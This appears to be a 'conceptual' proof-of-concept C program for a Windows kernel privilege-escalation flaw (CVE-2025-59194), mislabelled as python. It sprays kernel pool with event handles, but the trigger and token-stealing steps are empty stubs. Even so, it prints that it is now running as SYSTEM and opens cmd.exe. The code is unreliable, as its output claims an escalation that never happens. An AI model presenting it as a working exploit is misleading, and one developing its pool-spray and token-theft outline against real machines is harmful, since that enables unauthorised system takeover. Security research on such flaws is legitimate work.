The following code is for security research and authorized testing only.
python
// CVE-2025-59194 - Windows Kernel Uninitialized Resource LPE PoC (Conceptual)
// NOTE: This is a conceptual PoC demonstrating the exploitation approach.
// Actual exploitation requires a kernel driver and deep knowledge of Windows internals.
#include <windows.h>
#include <stdio.h>
// Conceptual flow:
// 1. Trigger the vulnerable kernel code path that uses uninitialized resources
// 2. Control the uninitialized resource content via heap spray or object reuse
// 3. Leverage the uninitialized state to corrupt kernel structures
// 4. Achieve privilege escalation to SYSTEM
// Step 1: Spray kernel pool to control uninitialized memory content
BOOL SprayKernelPool(DWORD size, DWORD count) {
HANDLE* handles = (HANDLE*)HeapAlloc(GetProcessHeap(), 0, sizeof(HANDLE) * count);
if (!handles) return FALSE;
for (DWORD i = 0; i < count; i++) {
// Allocate kernel objects of target size to occupy freed pool chunks
handles[i] = CreateEventW(NULL, FALSE, FALSE, NULL);
if (!handles[i]) {
for (DWORD j = 0; j < i; j++) CloseHandle(handles[j]);
HeapFree(GetProcessHeap(), 0, handles);
return FALSE;
}
}
// Free half to create holes, leaving controlled data in remaining objects
for (DWORD i = 0; i < count; i += 2) {
CloseHandle(handles[i]);
handles[i] = NULL;
}
// Trigger the vulnerable syscall that allocates without initialization
// The vulnerable code path will reuse our controlled pool memory
for (DWORD i = 0; i < count; i += 2) {
if (handles[i+1]) {
CloseHandle(handles[i+1]);
}
}
HeapFree(GetProcessHeap(), 0, handles);
return TRUE;
}
// Step 2: Trigger the vulnerable kernel path
BOOL TriggerVulnerablePath() {
// Invoke the specific syscall or API that triggers uninitialized resource use
// The exact API depends on the vulnerable component in Windows Kernel
// Common triggers include NtQuerySystemInformation, NtAllocateVirtualMemory, etc.
printf("[*] Triggering vulnerable kernel code path...\n");
// Placeholder: actual trigger depends on specific vulnerable function
return TRUE;
}
// Step 3: Token stealing to achieve SYSTEM privileges
BOOL StealSystemToken() {
printf("[*] Attempting token stealing for privilege escalation...\n");
// In a real exploit, this would be done from kernel mode
// by overwriting the current process token with SYSTEM process token
return TRUE;
}
int main() {
printf("[*] CVE-2025-59194 - Windows Kernel LPE PoC\n");
printf("[*] Use of Uninitialized Resource in Windows Kernel\n\n");
if (!SprayKernelPool(0x1000, 1000)) {
printf("[-] Pool spray failed\n");
return 1;
}
printf("[+] Kernel pool spray completed\n");
if (!TriggerVulnerablePath()) {
printf("[-] Failed to trigger vulnerable path\n");
return 1;
}
printf("[+] Vulnerable path triggered\n");
if (!StealSystemToken()) {
printf("[-] Token stealing failed\n");
return 1;
}
printf("[+] Privilege escalation completed - now running as SYSTEM\n");
// Spawn elevated command prompt
system("cmd.exe");
return 0;
}